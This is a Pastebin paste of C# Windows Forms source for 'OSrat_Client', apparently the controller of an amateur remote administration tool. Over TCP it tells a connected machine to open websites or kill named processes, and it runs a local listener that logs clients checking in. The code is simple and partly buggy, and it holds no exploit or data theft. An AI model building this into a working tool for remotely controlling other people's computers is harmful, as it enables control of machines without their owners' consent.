Guest User

Untitled

a guest
Jul 22nd, 2018
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.93 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Windows.Forms;
  9. //resources added
  10. using System.Net;
  11. using System.Net.Sockets;
  12. using System.Diagnostics;
  13. using System.Threading;
  14. //
  15.  
  16. namespace OSrat_Client
  17. {
  18. public partial class Client : Form
  19. {
  20. public Client()
  21. {
  22. InitializeComponent();
  23. }
  24.  
  25. #region Form load/Close
  26. private void Client_Load(object sender, EventArgs e)
  27. {
  28. //Code that goes here runs when the program is run
  29. console_txt.AppendText(Environment.NewLine);
  30. console_txt.AppendText("OS_Client " + version_lbl .Text+ " has started");
  31. this.Size = new Size(515, 300);
  32. }
  33. private void Client_FormClosing(object sender, FormClosingEventArgs e)
  34. {
  35. //this stops the thread that the listener is running, if not the process never stops
  36. tcpc.Stop();
  37. sock.Close();
  38. }
  39. private void Client_FormClosed(object sender, FormClosedEventArgs e)
  40. {
  41. tcpc.Stop();
  42. sock.Close();
  43. }
  44. #endregion
  45.  
  46. #region Vital program parts
  47. TcpClient sock = new TcpClient();
  48.  
  49. IPAddress ip = IPAddress.Parse("127.0.0.1");
  50. int port = 6961;
  51. TcpListener tcpc = new TcpListener(6961);
  52. TcpListener Server = new TcpListener(6961);
  53. Thread ServThread1 = null;
  54. #endregion
  55.  
  56. #region Voids
  57. //sends data to server
  58. public void dat(string dat)
  59. {
  60. NetworkStream nstream = sock.GetStream();
  61. Byte[] bit = System.Text.Encoding.ASCII.GetBytes(dat);
  62. nstream.Write(bit, 0, bit.Length);
  63. }
  64. //connects to server
  65. private void connect()
  66. {
  67. ip = IPAddress.Parse(ServerIP_txt.Text);
  68. port = System.Convert.ToInt32(ServerPORT_txt.Text);
  69. try
  70. {
  71. sock.Connect(ip, port);
  72. ConnectLabel.Text = ("Connected To: " + ServerIP_txt.Text);
  73. console_txt.AppendText(Environment.NewLine + "Connected To: " + ServerIP_txt.Text);
  74. }
  75. catch (Exception)
  76. {
  77. console_txt.AppendText(Environment.NewLine + "ERROR: Cannot connect to: " + ServerIP_txt.Text + " Make sure server is running");
  78. }
  79. }
  80. //listen for connection
  81. private void listen()
  82. {
  83. try
  84. {
  85. tcpc.Start();
  86. sock = tcpc.AcceptTcpClient();
  87. check();
  88. }
  89. catch (Exception)
  90. {
  91. }
  92. }
  93. //check if someone connected
  94. private void check()
  95. {
  96. if (sock.Connected == true)
  97. {
  98. sock.SendTimeout = 5000;
  99. try
  100. {
  101. console_txt.AppendText(Environment.NewLine + "Client Connected....");
  102. }
  103. catch (Exception)
  104. {
  105. check();
  106. }
  107. }
  108. }
  109.  
  110. //Baddass Threading void, thanks to my friend sniperx
  111. public class CThread
  112. {
  113. public static Thread Start(ThreadStart method)
  114. {
  115. Thread t = new Thread(new ThreadStart(method));
  116. t.Start();
  117. return t;
  118. }
  119. }
  120. public delegate void TargetMethod();
  121. //
  122. #endregion
  123.  
  124. #region Command Buttons
  125. private void connect_btn_Click(object sender, EventArgs e)
  126. {
  127. try
  128. {
  129. connect();
  130. }
  131. catch (Exception)
  132. {
  133. console_txt.AppendText(Environment.NewLine + "ERROR: Invalid IP address!");
  134. }
  135. }
  136. private void website_btn_Click(object sender, EventArgs e)
  137. {
  138. try
  139. {
  140. dat("1*" + website_txt.Text);
  141. console_txt.AppendText(Environment.NewLine + "Visited: " + website_txt.Text);
  142. }
  143. catch (Exception)
  144. {
  145. console_txt.AppendText(Environment.NewLine);
  146. console_txt.AppendText("ERROR: Not Connected to a Server");
  147. }
  148. }
  149. private void command_btn_Click(object sender, EventArgs e)
  150. {
  151. try
  152. {
  153. dat("2*" + command_txt.Text);
  154. console_txt.AppendText(Environment.NewLine + "Killed: " +command_txt.Text);
  155. }
  156. catch (Exception)
  157. {
  158. console_txt.AppendText(Environment.NewLine + "ERROR: Not Connected to a Server");
  159. }
  160. }
  161. #endregion
  162.  
  163. #region Bar Buttons
  164. //show console
  165. private void serverlist_btn_Click(object sender, EventArgs e)
  166. {
  167. if (serverlist_btn.Checked == true)
  168. {
  169. this.Size = new Size(515, 465);
  170. }
  171. else
  172. {
  173. this.Size = new Size(515, 300);
  174. }
  175. }
  176. //refresh client list
  177. private void refreshsv_btn_Click(object sender, EventArgs e)
  178. {
  179. try
  180. {
  181. console_txt.AppendText(Environment.NewLine + "Refreshing server list.....");
  182. }
  183. catch (Exception)
  184. {
  185. console_txt.AppendText(Environment.NewLine + "ERROR");
  186. }
  187. }
  188. //start local server
  189. public void startserver_btn_Click(object sender, EventArgs e)
  190. {
  191. try
  192. {
  193. console_txt.AppendText(Environment.NewLine +"Started client based server....");
  194. ServThread1 = CThread.Start(server3);
  195. stopsvr_btn.Visible = true;
  196. startserver_btn.Visible = false;
  197. console_txt.AppendText(Environment.NewLine + "Waiting for a connection... ");
  198. }
  199. catch (Exception)
  200. {
  201. console_txt.AppendText(Environment.NewLine + "ERROR");
  202. }
  203. }
  204. //stop local server
  205. public void stopsvr_btn_Click(object sender, EventArgs e)
  206. {
  207. try
  208. {
  209. console_txt.AppendText(Environment.NewLine + "Stoping client based server....");
  210. ServThread1.Abort();
  211. console_txt.AppendText(Environment.NewLine + "Stoped client based server....");
  212. stopsvr_btn.Visible = false;
  213. startserver_btn.Visible = true;
  214. }
  215. catch (Exception)
  216. {
  217. console_txt.AppendText(Environment.NewLine + "ERROR");
  218. }
  219. }
  220. #endregion
  221.  
  222. #region Tasktray Icon
  223. //tray icon doubble click
  224. private void notifyIcon1_DoubleClick(object sender, EventArgs e)
  225. {
  226. if (WindowState == FormWindowState.Minimized)
  227. {
  228. Show();
  229. this.WindowState = FormWindowState.Normal;
  230. cxtRestore.Visible = false;
  231. cxtHide.Visible = true;
  232. }
  233.  
  234. else
  235. {
  236. Hide();
  237. this.WindowState = FormWindowState.Minimized;
  238. cxtRestore.Visible = true;
  239. cxtHide.Visible = false;
  240.  
  241. notifyIcon1.ShowBalloonTip(1000, "Notice", "OSrat_Client is now in the system tray", ToolTipIcon.Info);
  242. }
  243. }
  244.  
  245. //Hide Client To tasktray
  246. private void cxtHide_Click(object sender, EventArgs e)
  247. {
  248. cxtRestore.Visible = true;
  249. cxtHide.Visible = false;
  250. Hide();
  251. this.WindowState = FormWindowState.Minimized;
  252. notifyIcon1.ShowBalloonTip(1000, "Notice", "OSrat_Client is now in the system tray", ToolTipIcon.Info);
  253. }
  254.  
  255. //Restore Client from apptray
  256. private void cxtRestore_Click(object sender, EventArgs e)
  257. {
  258. cxtRestore.Visible = false;
  259. cxtHide.Visible = true;
  260. Show();
  261. this.WindowState = FormWindowState.Normal;
  262. }
  263.  
  264. //Context menu exit
  265. private void exitToolStripMenuItem_Click(object sender, EventArgs e)
  266. {
  267. this.Close();
  268. }
  269. #endregion
  270.  
  271. #region threads
  272. //new server type
  273. private void server1()
  274. {
  275. while (sock.Connected == false)
  276. {
  277. try
  278. {
  279. listen();
  280. }
  281. catch (Exception)
  282. {
  283. }
  284. }
  285. //while (true)
  286. //{
  287. //check();
  288. //}
  289. }
  290. //old server type
  291. private void server2()
  292. {
  293. try
  294. {
  295. IPAddress ipAd = IPAddress.Parse("127.0.0.1");
  296. /* Initializes the Listener */
  297. TcpListener myList = new TcpListener(ipAd, 6961);
  298.  
  299. /* Start Listeneting at the specified port */
  300. myList.Start();
  301.  
  302. Socket s = myList.AcceptSocket();
  303.  
  304. if (s.Connected == true)
  305. {
  306. console_txt.AppendText(Environment.NewLine + "Client Connected....");
  307. }
  308.  
  309. while (s.Connected == false)
  310. {
  311. s.Listen(6961);
  312. }
  313.  
  314. //rancommands_txt.AppendText(Environment.NewLine + "Client Connected....");
  315.  
  316. /* clean up */
  317. //s.Close();
  318. //myList.Stop();
  319. console_txt.AppendText(Environment.NewLine + "Stoped client based server....");
  320. }
  321. catch (Exception)
  322. {
  323. console_txt.AppendText(Environment.NewLine + "ERROR");
  324. }
  325. }
  326. //server test1
  327. public void server3()
  328. {
  329. try
  330. {
  331.  
  332. Int32 port = 6961;
  333. IPAddress localAddr = IPAddress.Parse("127.0.0.1");
  334. TcpListener server = new TcpListener(localAddr, port);
  335.  
  336. // Start listening for client requests.
  337. server.Start();
  338.  
  339. // Enter the listening loop.
  340. while (true)
  341. {
  342. // Perform a blocking call to accept requests.
  343. // You could also user server.AcceptSocket() here.
  344. TcpClient client = server.AcceptTcpClient();
  345. //console_txt.AppendText(Environment.NewLine + "A Client has Connected!");
  346.  
  347. NetworkStream nstream = client.GetStream();
  348. byte[] bit = new byte[client.ReceiveBufferSize + 1];
  349. nstream.Read(bit, 0, System.Convert.ToInt32(client.ReceiveBufferSize));
  350. string str = System.Text.Encoding.ASCII.GetString(bit);
  351. string[] id = str.Split('*');
  352.  
  353. //get client info
  354. if (id[0] == "1")
  355. {
  356. string stri = id[1];
  357. string clientid = id[2];
  358. console_txt.AppendText(Environment.NewLine + stri);
  359.  
  360. //this tells the client thank you
  361. Byte[] send = System.Text.Encoding.ASCII.GetBytes("1*" + "Thank you For Connecting " + clientid);
  362. nstream.Write(send, 0, send.Length);
  363. }
  364. }
  365. }
  366. catch (SocketException e)
  367. {
  368. console_txt.AppendText(Environment.NewLine + "ERROR");
  369. }
  370. }
  371. #endregion
  372.  
  373.  
  374. }
  375. }
Add Comment
Please, Sign In to add comment